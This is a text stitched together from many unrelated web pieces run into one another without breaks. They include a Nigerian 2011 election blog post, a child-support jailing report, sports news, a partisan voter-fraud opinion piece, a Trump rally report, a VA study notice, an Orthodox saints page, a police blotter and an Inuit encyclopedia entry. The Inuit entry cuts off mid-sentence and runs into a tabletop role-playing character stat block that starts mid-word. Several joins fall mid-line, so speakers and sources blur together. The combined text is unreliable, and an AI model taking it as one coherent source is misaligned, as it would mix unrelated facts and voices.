The stereotypical simplified battle in Nigerian politics, society and lots of other things is north/south. The north is Muslim, the south is Christian or traditionalist. This, not surprisingly, is an oversimplification. Although the north is indeed largely Muslim and largely Haussa it is not ethnically homogeneous. The south is even less of a monolithic bloc, as it is divided between two large ethnic blocks: the Ibo in the east and the Yoruba in the west. Summarizing it as Christian or traditionalist isn’t accurate either, given that Islam extends well into the Yorubaland of southwest Nigeria. Ethnic battles used to be the major fault line in Nigerian politics with religion being somewhat of a secondary factor (but still a potent factor), but since the 1990s or so religion has become a much more important factor and seemingly the dominant fault line in Nigerian politics and society. This has gone along with growing Muslim radicalization in the north, the introduction of sharia law in northern states and so forth.
Nigeria became a democracy of sorts in 1999 when a new constitution was adopted, elections held and civilian rule restored following the 1998 death of murderous dictator Sani Abacha in 1998. Olusegun Obasanjo, a Christian southerner who had previously been a military ruler in the late 70s overseeing a finally ill-fated return to democracy, ruled between 1999 and 2007. A Muslim northerner, Umaru Yar’Adua was elected in 2007 but finally died in 2010, being replaced by his southern Christian Vice President Goodluck Jonathan. The dominant party since 1999 is the People’s Democratic Party (PDP), a corrupt right-wing political machine used to rigging the polls (as it probably did in 2007). But one of the reasons for the PDP’s success is also that it is the only major cross-regional party. Although stronger in the south, the PDP is by no means a regional southern party and controls a good number of northern states (though not the biggest one, Kano). Its main rivals, until now the Action Congress (AC) and the All Nigeria People’s Party (ANPP), were confined to specific regions. As always with the Nigerian opposition, it is wracked by regional, personal and ethnic divisions which prevent any meaningful cooperation.
Goodluck Jonathan, who has a wonderful first name and hat, was the PDP’s candidate for reelection. This caused friction with the north, who thinks that it was their turn at the job again. Indeed, the PDP has an unofficial rule of alternating the presidency between north and south. The losing opposition candidate since 2003 has been Muhammadu Buhari, a former military ruler between 1983 and 1985. Buhari, the ANPP candidate in 2003 and 2007, is a Muslim northerner. Buhari came to power in 1983 following the collapse of the chaotic Second Republic (1979-1983) and is credited for restoring order but were sidelined from power by other officers in 1985. He was running this time for the previously small Congress for Progressive Change (CPC). The AC, which is largely restricted to the Yoruba southwest, nominated Nuhu Ribadu (also a Muslim).
Goodluck Jonathan, to his credit, allowed for the freest and fairest elections in a long time. And because they were free, the PDP suffered substantial loses in legislative elections. Out of results declared so far, the PDP has kept its majority in the legislature but with 147 MPs and 57 Senators (thus far) it falls far below its 263 and 87 outgoing MPs and Senators. The AC has become the largest opposition force with 53 MPs and 14 Senators thus far (30 and 6 in 2007 respectively). The ANPP, which held 63 House seats and 14 Senate seats in 2007 has fallen to 20 House seats and 7 Senators with the CPC holding 35 MPs and 6 Senators.
Here are the presidential results:
Goodluck Jonathan (PDP) 58.89%
Muhammadu Buhari (CPC) 31.98%
Nuhu Ribadu (ACN) 5.41%
Ibrahim Shekarau (ANPP) 2.4%
16 others under 0.2% each
Goodluck dominated the south and broke 90% in his native Ibo-Ijaw Delta region (the old Biafra/Eastern Region). Buhari swept the north with varying margins, while Ribadu was seemingly confined to what is probably his home state (the Yoruba state of Osun). Goodluck’s results get better the closer you get to ‘Iboland’ in the Delta region, with the exception of Plateau state (a 70%+ Goodluck state bordering the north), which is apparently an historic stronghold of anti-northern and anti-Muslim populations who were often expelled from the Muslim far north. The map makes for a beautiful north-south split, which will allow the simplistic stereotype of north/south to live on. But it isn’t all wrong.
There were riots in the north, which isn’t all that surprising and the opposition has, in African style, rejected results but Buhari hasn’t shown that he has the determination to make a case out of it.
Advertisements“Every job he has had, he has gotten fired from because he went to jail because he was locked up for child support,” said Mr. Scott, whose brother was working as a forklift operator when he died. “He got to the point where he felt like it defeated the purpose.”
Walter Scott’s death has focused attention not just on police violence, but also on the use of jail to pressure parents to pay child support, a policy employed by many states today. Though the threat of jail is considered an effective incentive for people who are able but unwilling to pay, many critics assert that punitive policies are trapping poor men in a cycle of debt, unemployment and imprisonment.
The problem begins with child support orders that, at the outset, can exceed parents’ ability to pay. When parents fall short, the authorities escalate collection efforts, withholding up to 65 percent of a paycheck, seizing bank deposits and tax refunds, suspending driver’s licenses and professional licenses, and then imposing jail time.
“Parents who are truly destitute go to jail over and over again for child support debt simply because they’re poor,” said Sarah Geraghty, a lawyer with the Southern Center for Human Rights, which filed a class-action lawsuit in Georgia on behalf of parents incarcerated without legal representation for failure to pay. “We see many cases in which the person is released, they’re given three months to pay a large amount of money, and then if they can’t do that they’re tossed right back in the county jail.”
There is no national count of how many parents are incarcerated for failure to pay child support, and enforcement tactics vary from state to state, as do policies such as whether parents facing jail are given court-appointed lawyers. But in 2009, a survey in South Carolina found that one in eight inmates had been jailed for failure to pay child support. In Georgia, 3,500 parents were jailed in 2010. The Record of Hackensack, N.J., reported last year that 1,800 parents had been jailed or given ankle monitors in two New Jersey counties in 2013. (The majority of noncustodial parents nationwide are men.)Rob Holding and Granit Xhaka joined the likes of Santi Cazorla, Jack Wilshere and Hector Bellerin for training at London Colney on Saturday.
Our club photographer was there and sent back these images.
1 of 26 To buy official Arsenal pictures visit Arsenal Pics 2 of 26 To buy official Arsenal pictures visit Arsenal Pics 3 of 26 To buy official Arsenal pictures visit Arsenal Pics 4 of 26 To buy official Arsenal pictures visit Arsenal Pics 5 of 26 To buy official Arsenal pictures visit Arsenal Pics 6 of 26 To buy official Arsenal pictures visit Arsenal Pics 7 of 26 To buy official Arsenal pictures visit Arsenal Pics 8 of 26 To buy official Arsenal pictures visit Arsenal Pics 9 of 26 To buy official Arsenal pictures visit Arsenal Pics 10 of 26 To buy official Arsenal pictures visit Arsenal Pics 11 of 26 To buy official Arsenal pictures visit Arsenal Pics 12 of 26 To buy official Arsenal pictures visit Arsenal Pics 13 of 26 To buy official Arsenal pictures visit Arsenal Pics 14 of 26 To buy official Arsenal pictures visit Arsenal Pics 15 of 26 To buy official Arsenal pictures visit Arsenal Pics 16 of 26 To buy official Arsenal pictures visit Arsenal Pics 17 of 26 To buy official Arsenal pictures visit Arsenal Pics 18 of 26 To buy official Arsenal pictures visit Arsenal Pics 19 of 26 To buy official Arsenal pictures visit Arsenal Pics 20 of 26 To buy official Arsenal pictures visit Arsenal Pics 21 of 26 To buy official Arsenal pictures visit Arsenal Pics 22 of 26 To buy official Arsenal pictures visit Arsenal Pics 23 of 26 To buy official Arsenal pictures visit Arsenal Pics 24 of 26 To buy official Arsenal pictures visit Arsenal Pics 25 of 26 To buy official Arsenal pictures visit Arsenal Pics 26 of 26 To buy official Arsenal pictures visit Arsenal Pics
More quizzes to follow soon!More than a quarter of a century ago gymnast Nadia Comaneci captured the world’s attention. Today, she is still one of the best known athletes in the world, her name conjures up sporting perfection but also the harsh realities of Romania’s Ceauceșcu regime.
At 14-years old Nadia Comaneci became an overnight sensation. Sporting cute pig-tails, this serious-looking slip of a girl from Romania made history, scoring the first ever perfect 10 at the Olympics for her performance on the uneven bars. She then went on to score a 10.0 six more times. She thrust gymnastics into the international spotlight and raised the standards of the sport. She returned to Romania a hero.
Nadia Comaneci is also remembered for her defection from Romania in 1989. She had become a useful tool for the regime – not only a source of revenue but also good for the country’s tarnished image. In 1981 after the defection of her beloved coach to the US she was put under close surveillance, she was an all too valuable asset to lose. By 1989 she had had enough, found a people smuggler and risked her life to leave her homeland. She did not know if she would ever see her family again. However, a few weeks later the Ceauseșcu regime dramatically fell – Nicolae Ceacueșcu and his wife Elena were executed on Christmas day.
Nadia Comaneci now lives in the US with her husband and travels extensively delivering inspirational speeches, doing charity work and promoting gymnastics and fitness.
Have you got something to ask?
What question would you ask one of the world’s Olympic legends? Comaneci will be meeting euronews’ Isabelle Kumar on the The Global Conversation. Send your questions using #AskComaneci on Twitter or add it to the Facebook post below and we will select the best to ask during the interview.Image caption Would British comedy sketch shows offend Malaysian morals?
Male actors should be prosecuted for dressing up as women on TV, a Malaysian senator apparently told parliament.
It seems Rohani Abdullah feels that men who camp it up, even for sketches, are offending Islam. TV broadcasts are already heavily censored in the multi-religious state, with the government keen to insulate the largely-Muslim population from what it considers harmful foreign influences. Scenes featuring swearing and kissing are routinely removed. Last year the government reportedly denied it had banned gay characters from state-owned TV, despite a departmental Facebook post having appeared to order broadcasters to stop screening shows featuring "effeminate men".
Now Abdullah wants action against private TV stations, telling parliament that - while an actor might only be playing a part - dressing in drag and behaving like a woman is forbidden in Islam, reports the Malay Mail. "Their actions would be seen as promoting lesbian, gay, bisexual and transgender (LGBT) practices," she's reported to have said. The senator said religious authorities had "taken action" against transvestites and transgender [people] but not actors masquerading as women, state news agency Bernama reports. "Pay television is watched by the masses," it quoted her as saying.
Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.Jurgen Klopp has revived Liverpool's enthusiasm, Sir Alex Ferguson says
Sir Alex Ferguson says Liverpool are serious Premier League contenders now Jurgen Klopp has restored the club's identity.
Ferguson famously succeeded with his aim of knocking Liverpool "off their perch" as he took Manchester United beyond the Reds' record of 18 English league titles.
The last of those was more than 26 years ago, and Anfield has seen eight permanent managers come and go in the meantime.
Klopp is the ninth and, according to Ferguson, has a chance of ending the long wait for a 19th title - even if he makes Pep Guardiola's Manchester City the side to beat.
"He has done a really good job and revived Liverpool's enthusiasm," Ferguson said in an interview with German magazine Kicker.
Liverpool 2-1 West Brom Liverpool 2-1 West Brom
"It can happen that big clubs lose it. For two decades, Liverpool changed managers without building their own identity.
"You can now well and truly sense that you have to count them in this year. You can see Klopp's dedication on the sideline - I'm convinced his work in training is similar. He's a strong personality. That's absolutely vital at a big club."
Just one point separates the top five, with Ferguson's old club six points off the pace under Jose Mourinho.
"I think there are five potential candidates," he said. "Manchester City as favourites, Tottenham and Liverpool, but also United are still there if we get some consistency soon. Even when you are trailing by six, eight points, it's still possible to catch one or two teams.
Ferguson says Pep Guardiola's Manchester City are 'favourites' for the title
"The rivalry and the experience of Guardiola and Mourinho makes for an exciting competition. And you shouldn't forget Arsenal. The team is more sturdy. They've got better and more aggressive. I'm impressed with the young boy Alex Iwobi.
"Guardiola's skills are beyond debate, Antonio Conte is getting Chelsea on track, but Mourinho can also rival Guardiola - he's won the Champions League with two different clubs and titles in three different countries.
Alex Iwobi has impressed Ferguson since breaking into the Arsenal side
"For my money Mauricio Pochettino has fantastic potential. Spurs have a good mix of youth and experience. Top players like [Harry] Kane or [Eric] Dier were injured but they're still in a good position."Before we get to this hidden camera video from James O'Keefe, I'd like to make an important point. I've been disturbed by the number of Republican voters who tell pollsters that they're prepared to blame a Donald Trump loss on fraud or a "rigged" vote count, as opposed to Trump receiving fewer votes than Hillary Clinton. Virtually every single national poll shows Clinton leading the race. Almost every swing state has shifted toward her column over recent weeks. Her on-air presence dwarfs Trump's. Her ground-level turnout operation is robust and sophisticated. So let's be clear and honest: If the status quo more or less holds steady and she wins in November, it will not because of cheating. Partisans who are unwilling to acknowledge troubling realities hamstring their party's ability to win future election because hard truths are never confronted. Democrats aren't immune from such conspiratorial sore loserdom either; see the "Gore won" nonsense that persists to this day, and the Ohio voting machines nonsense some John Kerry backers screamed about after President Bush's 2004 re-election victory. The point is, inventing nefarious explanations for straightforward failures accomplishes nothing but self delusion.
Speaking of delusional denialists who won't acknowledge troubling realities for partisan reasons, it's practically an article of faith on the Left that voter fraud is a non-existent problem -- solutions to which are cynical Republican voter suppression schemes to hurt racial minorities. (The vast majority of the non-white electorate supports voter integrity laws, which Democrats rarely mention). Clinging to this belief requires ignoring reams of examples of the phenomenon, which we have documented over and over again, through multiple election cycles. Or dismissing the evidence as meaningless anecdotes of "isolated incidents." Well, those isolated incidents keep piling up: Dead voters in Virginia. Dead voters in Colorado. Illegal voting in Illinois. A voter fraud investigation that has now expanded to 56 counties in Indiana. And those are in addition to these recent examples across four other states. Now, here we have a Democratic elections commissioner in New York City admitting in a concealed-camera exchange that voter fraud is a real and enduring issue, and endorsing the very sort of voter ID laws that his party's elites publicly demagogue as malicious forms of racially-motivated voters suppression (even though evidence contradicts this supposed outcome). Watch:
In the video, NYC Democratic Commissioner of the Board of Elections Alan Schulkin is caught on hidden camera at a United Federation of Teachers holiday party admitting that there is widespread voter fraud in New York City. “Yeah, they should ask for your ID. I think there is a lot of voter fraud,” said Schulkin, who elaborated on the types of voter fraud that are taking place in New York...“You know, I don’t think it’s too much to ask somebody to show some kind of an ID…Like I say, people don’t realize, certain neighborhoods in particular they bus people around to vote,” said Schulman.
"They" -- presumably meaning political machines -- "put [people] in a bus and go poll site to poll site" in "certain neighborhoods," Schulkin says, before declining to say what sort of neighborhoods he's talking about. Is this Democratic elections official candidly reporting he knows to be true, or is he a secret part of the baseless right-wing voter suppression project? Whenever leftists object to any and all evidence of this problem in order to fight against wildly popular voter integrity measures, it's always worth asking exactly how much fraud they're willing to tolerate. I'll leave you with another twist on a similar theme, via Fox News host Brit Hume:Supporters of Republican presidential front-runner Donald Trump and protesters clashed after a rally in Utah on Friday.
Crowds who chanted “Donald Trump” were met with “Mr. Hate Out of Our State” as police in riot gear blocked the entrance to the Infinity Event Center in Salt Lake City. Protesters tried to rush the door of the building and got into screaming matches with Trump supporters who were barred from entering the venue.
According to KSTU-TV, people who were exiting the building were being pelted with rocks. Some protesters were seen tearing down a security tent that the U.S. Secret Service used to screen attendees before they entered the building.
"Like I said, overall, you know our officers were on standby, we were just hoping everything was peaceful, and, no problems whatsoever, and fortunately it turned out just as we anticipated," Salt Lake City Police Det. Cody Lougy told KSTU-TV.
Lougy told the Salt Lake Tribune that he didn’t think anyone was arrested.
According to the paper, the heated demonstrations outside the Infinity Event Center weren’t the only protests around the city.
Tony Yapias, the director of Proyecto Latino, played a voice mail message over a loudspeaker he received Friday morning of someone telling him to leave the U.S. Yapias told the Tribune that Trump’s rhetoric is playing a part in the increased tension drawn toward Latinos.
He said the rally – which was attended by about 150 people – was to show that the Hispanic community in Utah will not back down from his hate speech. Some in the crowd were heard chanting “Get out Trump” in Spanish.
Trump spoke to a crowd people in Salt Lake City and took a shot at former presidential candidate and Utah resident Mitt Romney, who said he was going to support Texas Sen. Ted Cruz in the state’s caucuses.
"Are you sure he's a Mormon? Are we sure?" he jokingly asked his crowd at the Infinity Event Center.
Romney, who has made Utah his adopted home, said Friday that he plans to vote for Cruz in the state's Tuesday caucuses. He made the announcement on his official Facebook page as Kasich was speaking to about 600 people during a town hall at Utah Valley University.
Romney has campaigned with Ohio Gov. John Kasich in other states but stopped short of endorsing him. In addition to his position as a prominent member of Utah's dominant faith, Romney is also revered in the state for leading a turnaround of the 2002 Salt Lake City Olympics.
It's unclear to what degree his endorsement of Cruz may sway GOP voters in the Tuesday caucuses. The Texas senator was already expected to have a leg up on the other Republican contenders because of his emphasis on religious liberties and backing from Utah Republican Sen. Mike Lee.
Fox News’ Peter Doocy and the Associated Press contributed to this report.
Click for more from the Salt Lake Tribune.
Click for more from KSTU-TV.The U.S. Department of Veterans Affairs has commissioned its first major study of whether men and women who served in America's most recent wars passed on any health problems to their children or grandchildren.
Researchers with the National Academies of Science, Engineering, and Medicine will hunt for any research that suggests soldiers who fought in the first Gulf War, the post-9/11 Iraq war and Afghanistan might have passed on any medical conditions to their descendants.
"We are evaluating whether there is any evidence out there. And if there isn’t, then let’s design recommendations that can help acquire that kind of data in the most effective and meaningful way," says Dr. Kenneth Ramos, chair of the committee overseeing the study.
The VA is required by law to explore potential connections between military service and negative health outcomes. Previous government studies have looked into whether veterans of the Gulf War and those on active duty since 9/11 suffered health problems after their service; the new study will be the first step in an effort to evaluate their children and grandchildren.
"The government takes these reports to heart and utilizes them to guide and inform decisions," Ramos says. "It influences their ability to make decisions regarding a path forward."
With veterans of the Gulf War, Iraq and Afghanistan concluding their service so recently, many haven’t had time to have grandchildren. That’s partly why the committee is launching the study now, he says.
"Because not enough data is available, how do we ensure that we can position ourselves to be acquiring the kind of findings and data that we need to be able to generate the information that’s required?" says Ramos.
The committee won’t limit itself to examining any particular health outcomes, says Ramos. But it will pay special attention to conditions linked with exposure to solvents, pesticides and certain metals.
"The reality is that these are things that to a lesser or greater degree everyone is exposed to," he says. "But because of the nature of the conflict itself and the activities of military personnel, then they become agents of interest. Disposal of residues, burning of trash—those are things that might actually influence extensive exposure."
The results of the two-year study are expected in 2019.
During the 1990-91 Gulf War, U.S. troops were exposed to chemical and biological weapons and particulates from burning oil wells. Veterans have continued to complain of health problems more than 25 years later. Commonly-reported symptoms include chronic fatigue, headaches, joint pain and memory problems.
Some Gulf War soldiers also used tank armor and some bullets containing depleted uranium. According to the VA, if a a large amount of depleted uranium enters a person's body through ingestion or a wound, it may affect the kidneys.
In a 2016 study, the National Academies found evidence of a causal relationship and/or association between Gulf War service and Post Traumatic Stress Disorder and Gulf War illness (generalized anxiety, depression, fatigue, gastrointestinal issues). They found “limited/suggestive evidence of an association” for Lou Gehrig's Disease (ALS) and fibromyalgia.
Ramos chaired the 2014 biannual committee on Agent Orange exposure during the Vietnam War. In that study, researchers found no evidence of medical disorders in exposed veterans’ children.
As part of the new study, researchers will collect veterans’ feedback at a public meeting in September.Saints and A Thought for the Day Saints of the Day Venerable John Cassian the Roman Venerable Basil the Confessor, companion of Prokopios of Decapolis; Hieromartyr Proterios, patriarch of Alexandria; Apostles Nympha and Euvoulos; New-martyr Kyranna. Venerable John Cassian the Roman
Thought for the Day Whereas love for God is the source and starting point of every virtue, love for the world is the cause of all evil. For that reason these two loves are at enmity with each other and destroy each other. As the Lord's brother declares: 'Friendship of the world is enmity to God. Whoever therefore will be a friend of the world is the enemy of God' (Jms. 4:4). And John, whom Christ loved, says, 'If any man loves the world, the love of the Father is not in him. For all that is in the world, the lust of the flesh, and the pride of life, is not of the Father' (cf. I Jn. 2:15-16). Let us take heed, brethren, lest by loving evil desires and being arrogant to one another, we fall away from our heavenly Father's love. For these two evils include every passion which separates us from God. – St. Gregory Palamas
Current News & Events View the Archive of Past Events Website Information The contents of these pages are published with the blessing of His Eminence, Metropolitan JOSEPH, and are Copyright © 2005-2017 The Antiochian Orthodox Christian Diocese of Los Angeles and the West, a diocese of the Antiochian Orthodox Christian Archdiocese of North America.Subaru head wants to limit growth to keep niche status
While most automakers are quietly plotting to take over the entire automotive market, Subaru is making moves to limit its growth. Head of Subaru parent company Fuji Heavy Industries Yasuyuki Yoshinaga believes that there is such a thing as too big. He wants to cap Subaru sales at a bit over 1 million vehicles per year globally.
The move could be difficult for Subaru as the popularity of the cars it makes continues to climb. Subaru also has plans to unveil a 7-seat crossover in the next several model years. The executive says that Subaru wants a maximum annual production capacity of 1.03 million vehicles, but it could go as high as 1.1 million with overtime.
Subaru plans to build no new factories. The automaker blames its success in part on its niche business model. Fewer Subaru cars on the roads also keep used Subaru prices higher than other brands helping with resale and keeping value in the brand for buyers.
Subaru is expecting a record sales year in the US for 2015 with sales figures approaching 600,000 vehicles. Low supply of vehicles is putting a damper on growth. Subaru does plan to increase capacity at the Indiana plant where the Legacy and Outback are made to 400,000 units by the end of 2016, capacity now is 290,000 units.
SOURCE: AutonewsCSA denied that its offer was linked to the ICC crisis © Getty Images
CSA has proposed a Test between South Africa and Zimbabwe to be played before they host Australia for a Test and Twenty20 series that begins on February 12, ESPNcricinfo has learned.
Zimbabwe Cricket (ZC) is unlikely to be able to commit to the fixture because of their impasse with their players: they are on strike over non-payment and their domestic competitions have also been put on hold.
With no end in sight to the boycott, one player, who asked not to be named, said he thought "the chances of the match happening are very slim because we have not been playing any cricket at all".
A second source from Zimbabwe said even though some players "welcomed the opportunity", others are wary of visiting South Africa given the team's long break from competitive cricket.
Zimbabwe's last outing was almost four months ago, against Pakistan in September. Since then, a tour by Sri Lanka was cancelled for financial reasons and although the domestic four and one-day competitions kicked off, they were stalled after one round of the former and three matches of the latter.
In case Zimbabwe are unable to make the trip, CSA are also considering an alternative. Members of South Africa's Test squad would play against a Zimbabwe A side in Johannesburg in early February. That would most likely coincide with the Australians' tour match in Potchefstroom against a South African Invitation XI. The Invitation team will probably not consist of South Africa's 'next best' as was the case on 2011, but promising players in the set up.
CSA insisted that the offer has been made for cricketing reasons and is not an attempt to build support in the ICC crisis over the future make-up of international cricket.
Zimbabwe's players went on strike in mid-December over non-payment. They also refused to restart the fixtures in January, insisting they will stick to the "no pay, no cricket" policy. Their stance led to the limited-overs incoming tour of Afghanistan, which was scheduled for January, also being cancelled.
Salaries are outstanding as of November last year and ZC's financial situation has meant they cannot provide any guarantee as to when they will be able to pay their players. It is understood they are currently in talks with a local corporate to sign sponsorship and if they manage to secure the deal, domestic cricket could resume by next week. That would be the only practice Zimbabwe get ahead of the World Twenty20, unless they take up South Africa's offer to play a Test, which could be staged at the Wanderers.
There is a possibility that this sudden move by CSA is to gain ZC's support when the draft proposal for a revamp of the ICC's administrative structure comes to vote at the Executive Board's quarterly meeting in Dubai on January 28 and 29. CSA's position on the draft, which will concentrate power with the BCCI, ECB and CA, is that the idea was "fundamentally flawed" and "in breach of the ICC constitution."
CSA rejected suggestions of using the match to gain Zimbabwe's backing, saying tat as they have not played Tests since the Boxing Day fixture against India, and with the first-class competition on hold because of the domestic T20 tournament, team management wanted an additional fixture ahead of the Australia series.
"The request to play Zimbabwe is purely for cricket reasons," a CSA official said. "Our team are notoriously slow starters and the request was made long before the ICC revamp proposal came."
ZC have made no comment on the proposal but are understood to traditionally vote in favour of the BCCI. One insider questioned whether the match would be enough to sway Zimbabwe to endorse South Africa's position. "I can't see how Zimbabwe would benefit from a match against South Africa. They won't earn any money from coming here. Maybe if CSA had suggested going to play in Zimbabwe and ZC they could sell television rights, they may be interested."
South Africa are also due to tour Zimbabwe in July but the possibility of that series going ahead is in doubt, because of ZC's financial situation.
This story was updated with additional information at 1800 GMT on January 23
Firdose Moonda is ESPNcricinfo's South Africa correspondent
© ESPN Sports Media Ltd.9:34 a.m. A Kalispell man reported that his wife and mother-in-law were intoxicated and yelling at him. He added that his mother-in-law slapped him across the face.
11:13 a.m. A Bigfork woman complained that the neighbor man dug an 18 inch hole in her yard.
4:36 p.m. An intoxicated transient was seen sleeping behind a tree at a local park.
5:28 p.m. A man on Egan Road reported that his neighbor’s mailbox exploded. He claimed that it went up in a cloud of smoke and then it was gone.
7:13 p.m. Another mailbox, this one on Roebocker Lane, blew up.
8:30 p.m. A pizza delivery guy walked into an elderly man’s house to find that the man “looked dead” and was surrounded by flies. The delivery guy assumed the man had expired, left the residence and had his manager call 911. The man was only sleeping and stated that he no longer wants his pizza.
9:33 p.m. A man called 911 from Essex requesting contact information for a business he saw on TV that was advertising free scooters.
Comments
commentsInuksuit were stone cairns erected by the Inuit to serve as landmarks or to fool the caribou in hunting (Corel Professional Photos). The First Nations brought dogs with them to the Americas (courtesy Library and Archives Canada). Group preparing for the hunt (courtesy Lewis Parker). Some Inuit still follow a nomadic way of life, while others are involved in the administration and development of northern Canada (Corel Professional Photos). PreviousNext
Inuit — Inuktitut for “the people” — are an Aboriginal people, the majority of whom inhabit the northern regions of Canada. An Inuit person is known as an Inuk. The Inuit homeland is known as Inuit Nunangat, which refers to the land, water and ice contained in the Arctic region.
Inuit — Inuktitut for “the people” — are an Aboriginal people, the majority of whom inhabit the northern regions of Canada. An Inuit person is known as an Inuk. The Inuit homeland is known as Inuit Nunangat,which refers to the land, water and ice contained in the Arctic region. The term Inuit Nunangat may also be used to refer to land occupied by the Inuit in Alaska and Greenland. In 2011, using data from the National Household Survey, Statistics Canada estimated that 59,440 people in Canada, about 4.2 per cent of the Aboriginal population, identified themselves as Inuit.
In 2011, approximately 73 per cent of all Inuit in Canada lived in Inuit Nunangat, with nearly half living in Nunavut, followed by Nunavik (in northern Québec), Nunatsiavut (located along the northern coast of Labrador), and the western arctic (Northwest Territories and Yukon), known as Inuvialuit.
Language and Ethnic Groups
There are eight main Inuit ethnic groups: the Labradormiut (Labrador), Nunavimmiut (Ungava), Baffin Island, Iglulingmuit (Iglulik), Kivallirmiut (Caribou), Netsilingmiut (Netsilik), Inuinnait (Copper) and Invialuit or Western Arctic Inuit (who replaced the Mackenzie Inuit). Inuktitut, the Inuit language, has five main dialects in Canada: Inuvialuktun (Inuvialuit region in the Northwest Territories); Inuinnaqtun (western Nunavut); Inuktitut (eastern Nunavut dialect); Inuktitut (Nunavik dialect); and Nunatsiavumiuttut (Nunatsiavut). (See Languages of Aboriginal People)
In 2011, 37,615 Inuit, reported having conversational knowledge of an Inuit language or dialect. In Inuit Nunangat as a whole, 82.8 per cent of Inuit reported conversational ability in Inuktitut. Inuktitut usage was strongest in Nunavik and Nunavut, where the ability to converse in Inuktitut was 99.1 per cent and 89 per cent respectively. In contrast, the figures were 24.9 per cent in Nunatsiavut and 20.1 per cent in the Inuvialuit region. Amongst Aboriginal peoples in Canada, the Inuit have the highest proportion reporting an ability to speak an Aboriginal language at 63.7 per cent. Declining usage of Inuktitut prompted the Inuit Tapiriit Kanatami — the national voice of Inuit in Inuit Nunangat, founded in 1971 —to establish Inuktitut curriculum in schools. Beginning in the 1960s, federal and territorial governments also worked to establish Inuktitut language programs, though for some, justification was partly based on the assumption that establishing such educational traditions would facilitate transition to English or French. While the number of Inuktitut speakers has grown, it has done so at a slower rate than the general Inuit population, thus the proportion of speakers has decreased from 68.8 per cent in 2006 to 63.3 per cent in 2011.
Traditional Culture and Life
Traditionally, the Inuit were hunters and gatherers who moved seasonally from one camp to another. Large regional groupings were loosely separated into smaller seasonal groups, winter camps (called "bands") of around 100 people and summer hunting groups of fewer than a dozen |
vasion. When Abel is subjected to an effect that allows him to make a Dexterity saving throw to take only half damage, he instead takes no damage if he succeeds on the saving throw, and only half damage if he fails.
Feat: Grappler. Abel has advantage on attack rolls against creatures he is grappling. In addition, he can use his action to try to pin a creature grappled by him. To do so, Abel makes another grapple check. If he succeeds, he and the creature are both restrained until the grapple ends.
Feat: Tavern Brawler. Abel is proficient with improvised weapons. When Abel hits a creature with an unarmed strike or an improvised weapon on his turn, he can use a bonus action to attempt to grapple the target.
Fighting Style: Dueling. When Abel is wielding a melee weapon in one hand and no other weapons, he gains a +2 bonus to damage rolls with that weapon.
Foreigner. Abel is at disadvantage when making Wisdom or Charisma checks against non-Ropaeo that are aware of his heritage. This does not affect checks using Insight or Persuasion.
Ki (7 points). Abel harnesses the mystic energy of ki and can spend these points to fuel various ki features. When he spends a ki point, it is unavailable until he finishes a short or long rest, at the end of which he draws all of his expended ki back into himself. He must spend at least 30 minutes of the rest meditating to regain his ki points.
Flurry of Blows. Immediately after Abel takes the Attack action on his turn, he can spend 1 ki point to make two unarmed strikes as a bonus action.
Patient Defense. Abel can spend 1 ki point to take the Dodge action as a bonus action on his turn.
Step of the Wind. Abel can spend 1 ki point to take the Disengage or Dash action as a bonus action on his turn, his jump distance is doubled for the turn, he may travel through the squares of other creatures, and he does not treat squares occupied by a creature as difficult terrain.
Stunning Attack. Abel can spend 1 ki point to attempt to stun a creature he hits with a melee weapon attack. The target must succeed on a DC 16 Constitution saving throw or be stunned until the end of his next turn.
Know Your Enemy. If Abel spends at least 1 minute observing or interacting with another creature outside combat, he can learn certain information about its capabilities compared to his own. The GM reveals if the creature is his equal, superior, or inferior in regard to two of the following characteristics of his choice: Strength score, Dexterity score, Constitution score, armor class, current hit points, total class levels (if any), fighter class levels (if any).
Martial Archetype: Combat Superiority (5d10). Abel can use only one maneuver per attack. A superiority die is expended when Abel uses a maneuver. He regains all of his expended superiority dice when he finishes a short or long rest.
Feinting Attack. Abel can expend one superiority die and use a bonus action on his turn to feint, choosing one creature within 5 feet of him as his target. He has advantage on his next attack roll against that creature. If that attack hits, add the superiority die to the attack’s damage roll.
Goading Attack. When Abel hits a creature with a weapon attack, he can expend one superiority die to attempt to goad the target into attacking him. Abel adds the superiority die to the attack’s damage roll, and the target must make a DC 17 Wisdom saving throw. On a failed save, the target has disadvantage on all attack rolls against targets other Abel you until the end of his next turn.
Lunging Attack. When Abel makes a melee weapon attack on his turn, he can expend one superiority die to increase his reach for that attack by 5 feet. If he hits, he adds the superiority die to the attack’s damage roll.
Maneuvering Attack. When Abel hits a creature with a weapon attack, he can expend one superiority die to maneuver one of his comrades into a more advantageous position. He adds the superiority die to the attack’s damage roll, and he chooses a friendly creature who can see or hear him. That creature can use its reaction to move up to half its speed without provoking opportunity attacks from the target of Abel’s attack.
Riposte. When a creature misses Abel with a melee attack, he can use his reaction and expend one superiority die to make a melee weapon attack against the creature. If he hits, he adds the superiority die to the attack’s damage roll.
Sweeping Attack. When Abel hits a creature with a melee weapon attack, he can expend one superiority die to attempt to damage another creature with the same attack. Abel chooses another creature within 5 feet of the original target and within his reach. If the original attack roll would hit the second creature, it takes damage equal to the number Abel rolls on his superiority die. The damage is of the same type dealt by the original attack.
Trip Attack. When Abel hits a creature with a weapon attack, he can expend one superiority die to attempt to knock the target down. He adds the superiority die to the attack’s damage roll, and if the target is Large or smaller, it must make a DC 17 Strength saving throw. On a failed save, Abel knocks the target prone.
Martial Arts. Abel can use Dexterity instead of Strength for the attack and damage rolls of his unarmed strikes and monk weapons, and he rolls a 1d8 in place of the normal damage of his unarmed strike or monk weapons. In addition, when Abel uses the Attack action with an unarmed strike or a monk weapon on his turn, he can make one unarmed strike as a bonus action.
Open Hand Technique. Whenever Abel hits a creature with one of the attacks granted by his Flurry of Blows, he can impose one of the following effects on that target:
It must succeed on a DC 16 Dexterity saving throw or be knocked prone.
It must make a Strength saving throw. If it fails, Abel can push it up to 15 feet away from him.
It can’t take reactions until the end of Abel’s next turn.
Second Wind. On his turn, Abel can use a bonus action to regain 1d10+7 hit points. Once he uses this feature, he must finish a short or long rest before he can use it again.
Social Adept. Abel has proficiency with Insight and Persuasion. He is never at disadvantage when making checks with either of these skills.
Stance of Breaking Stone (2). Abek has learned to strike with a resonance that corrodes creatures and objects on a level beyond understanding, weakening virtually everything but the most impervious targets. His unarmed strikes deal an additional 1d6 acid damage (this damage is not multiplied on a critical hit), he has resistance to acid damage, and he has advantage on checks made to grapple a foe or to avoid being grappled.
Stillness of Mind. Abel can use his action to end one effect on himself that is causing him to be charmed or frightened.
